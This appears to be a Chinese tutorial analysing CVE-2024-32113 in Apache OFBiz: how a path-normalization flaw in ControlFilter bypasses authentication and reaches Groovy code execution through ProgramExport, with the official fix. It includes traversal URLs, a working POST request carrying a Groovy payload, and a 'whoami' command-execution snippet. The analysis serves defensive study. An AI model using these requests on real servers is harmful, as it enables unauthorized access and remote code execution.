【CVE-2024-32113】利用cursor分析apache ofbiz目录遍历绕过登录授权到代码执行漏洞
字数 1793 2025-08-23 18:31:25
Apache OFBiz 目录遍历漏洞分析及利用教学 (CVE-2024-32113)
漏洞概述
CVE-2024-32113 是 Apache OFBiz 中存在的一个安全漏洞,该漏洞允许攻击者通过精心构造的 URL 路径绕过身份验证机制,进而可能导致远程代码执行。本教学文档将详细分析该漏洞的原理、利用方式以及修复方案。
一、OFBiz 基础架构分析
1.1 主要目录结构
framework/ - 框架核心目录
- base/ - 基础组件
- catalina/ - Tomcat/Catalina 相关配置
- common/ - 通用功能组件
- entity/ - 实体/数据模型相关
- service/ - 服务层组件
- webapp/ - Web应用组件
- webtools/ - Web工具组件
- start/ - 启动相关代码
1.2 关键配置文件
-
组件配置:
ofbiz-component.xml- 每个组件的配置文件component-load.xml- 定义组件加载顺序
-
Web相关配置:
web.xml- Web应用配置文件controller.xml- Web控制器配置entityengine.xml- 实体引擎配置
1.3 系统特点
- 模块化设计:每个功能模块都是独立组件
- MVC架构:
- webapp 模块处理Web层
- entity 模块处理数据层
- service 模块处理业务逻辑层
- 配置驱动:大量使用XML配置文件
- 扩展性:插件化架构,组件可独立开发和部署
二、Web路由控制机制
2.1 核心组件
-
ControlFilter - 请求过滤器:
- URL白名单过滤
- 处理重定向逻辑
- 安全检查
-
ControlServlet - 主控制器:
- 处理所有Web请求的核心Servlet
- 通过web.xml中的配置进行URL映射
2.2 路由定义方式
示例 controller.xml 配置:
<request-map uri="view">
<security https="true" auth="false"/>
<response name="success" type="view" value="main"/>
</request-map>
<request-map uri="chain">
<event type="java" path="org.apache.ofbiz.webapp.event.TestEvent" invoke="test"/>
<response name="success" type="request" value="/view"/>
<response name="error" type="view" value="error"/>
</request-map>
2.3 请求处理流程
-
请求首先经过
ControlFilter:- 检查URL是否在允许列表中
- 处理重定向逻辑
- 执行安全检查
-
然后由
ControlServlet处理:- 解析请求URL
- 查找对应的request-map定义
- 执行相应的处理逻辑
- 返回定义的响应
三、漏洞分析 (CVE-2024-32113)
3.1 漏洞描述
这是一个URL规范化绕过漏洞,存在于 ControlFilter.java 中:
// normalize to remove ".." special name usage to bypass webapp filter
try {
requestUri = new URI(requestUri).normalize().toString();
} catch (URISyntaxException e) {
throw new RuntimeException(e);
}
问题在于代码只对请求的URI进行了简单的 normalize() 处理,但没有对比规范化前后的URL是否一致。
3.2 漏洞利用方式
攻击者可以通过以下方式绕过URL白名单检查:
-
路径遍历攻击:
/webtools/control/etc/passwd -
URL编码绕过:
/webtools/control/%2e%2e/%2e%2e/sensitive-data -
特殊字符组合:
/webtools/control/confidential/
3.3 权限绕过原理
假设存在:
/webtools/control/main- 公开接口 (auth="false")/webtools/control/entitymaint- 需要认证的接口 (auth="true")
攻击者可构造:
/webtools/control/main/../entitymaint
处理流程:
- 初始URL以
/control/main开头,通过白名单检查 - 规范化后变为
/webtools/control/entitymaint - 系统未检查规范化前后URL的一致性
- 最终访问到需要认证的接口
四、从目录遍历到RCE
4.1 ProgramExport 接口分析
ProgramExport 是一个允许执行Groovy代码的接口:
<request-map uri="ProgramExport">
<security https="true" auth="true"/>
<response name="success" type="view" value="ProgramExport"/>
<response name="error" type="view" value="ProgramExport"/>
</request-map>
关键代码 (ProgramExport.groovy):
if (UtilValidate.isNotEmpty(groovyProgram)) {
try {
// Check if a webshell is not uploaded but allow "import"
if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
logError("Not executed for security reason")
request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")
return
}
shell.parse(groovyProgram)
shell.evaluate(groovyProgram)
recordValues = shell.getVariable("recordValues")
xmlDoc = GenericValue.makeXmlDocument(recordValues)
context.put("xmlDoc", xmlDoc)
} catch(Exception e) {
request.setAttribute("_ERROR_MESSAGE_", e)
return
}
}
4.2 利用步骤
-
构造URL绕过认证:
https://target/webtools/control/main/../ProgramExport -
发送POST请求执行Groovy代码:
POST /webtools/control/ProgramExport HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded groovyProgram=import org.apache.ofbiz.entity.util.EntityFindOptions; EntityFindOptions findOptions = new EntityFindOptions(); findOptions.setMaxRows(3); List products = delegator.findList("Product", null, null, null, findOptions, false); if (products != null) { recordValues.addAll(products); } -
更危险的利用(需绕过安全检查):
// 示例:执行系统命令 def cmd = "whoami".execute().text recordValues = ["output": cmd]
4.3 安全限制与绕过
接口存在安全检查:
if (!SecuredUpload.isValidText(groovyProgram, ["import"])) {
logError("Not executed for security reason")
return;
}
但允许使用 import 关键字,可能被利用来加载危险类。
五、官方修复方案
修复代码 (ControlFilter.java):
if (req.getRequestURL() != null) {
// Allow tests with Mockito, ControlFilterTests
String url = new URI(req.getRequestURL().toString()).normalize().toString();
if (!req.getRequestURL().toString().equals(url)) {
throw new RuntimeException();
}
}
修复要点:
- 获取完整的
RequestURL而不仅仅是URI - 对规范化前后的URL进行严格比对
- 如果不一致则直接抛出异常
六、安全建议
- 立即升级到最新版本
- 实施严格的白名单机制:
- 不仅检查规范化后的URL
- 还要验证规范化前后的一致性
- 避免直接使用未经处理的用户输入作为文件路径
- 对敏感接口增加额外的认证检查
- 监控异常访问模式
七、总结
CVE-2024-32113 展示了URL处理不当可能导致严重安全问题的典型案例。通过分析我们可以看到:
- 路径规范化不完整会导致认证绕过
- 认证绕过结合危险功能可能导致RCE
- 多层防御机制的重要性:
- 输入验证
- 输出编码
- 最小权限原则
- 深度防御
该漏洞的分析过程也展示了如何使用工具(如Cursor)辅助代码审计,快速定位安全问题。